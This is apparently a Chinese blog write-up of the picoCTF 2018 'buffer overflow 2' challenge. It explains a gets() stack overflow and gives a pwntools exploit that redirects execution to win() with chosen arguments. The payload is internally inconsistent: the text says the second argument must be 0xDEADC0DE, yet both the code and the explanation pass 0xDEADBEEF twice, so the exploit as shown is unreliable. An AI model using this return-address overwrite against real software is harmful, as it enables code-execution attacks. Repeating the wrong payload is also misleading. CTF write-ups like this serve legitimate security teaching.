picoctf_2018_buffer overflow 2 1

1.checksec

在这里插入图片描述

2.ida

在这里插入图片描述
在这里插入图片描述
主要漏洞在vuln()里面,gets函数有栈溢出漏洞,s距离ebp为0x6C
在这里插入图片描述
又发现可疑函数win(),点进去看发现只要该函数的两个参数a1和a2满足相应的条件(a1 == -559038737 && a2 == -559038242)就可以直接打印flag。将条件中的数字转换为16进制为a1 == 0xDEADBEEF && a2 == 0xDEADC0DE。
故该题思路为利用栈溢出溢出返回地址到win函数然后传递正确的参数a1与a2使其输出flag,先上exp。

3.exp

from pwn import*
p=remote('node5.buuoj.cn',26902)
payload=b'a'*0x70+p32(0x80485CB)+p32(0)+p32(0x0DEADBEEF)+p32(0x0DEADBEEF)
p.sendline(payload)
p.interactive()

0x80485CB为win函数地址,p32(0)为了填充win函数的返回地址,因为win函数的参数是从返回地址的下一个开始传的,可以从汇编代码看出
在这里插入图片描述
可以看出a1的地址为ebp+arg_0,a2的地址为ebp+arg_4,从上面可以看出,arg_0为8,arg_4为12,两个参数的地址是挨着的,然后ebp+4的位置正好是win函数返回地址的位置,故需要随便一个4字节的junk来填充一下该处,然后才能将0x0DEADBEEF和0x0DEADBEEF放到a1与a2对应的位置。虽然此时win函数的返回地址是不存在的,但在它返回之前就已经打印出flag了。
在这里插入图片描述
最后打印出flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值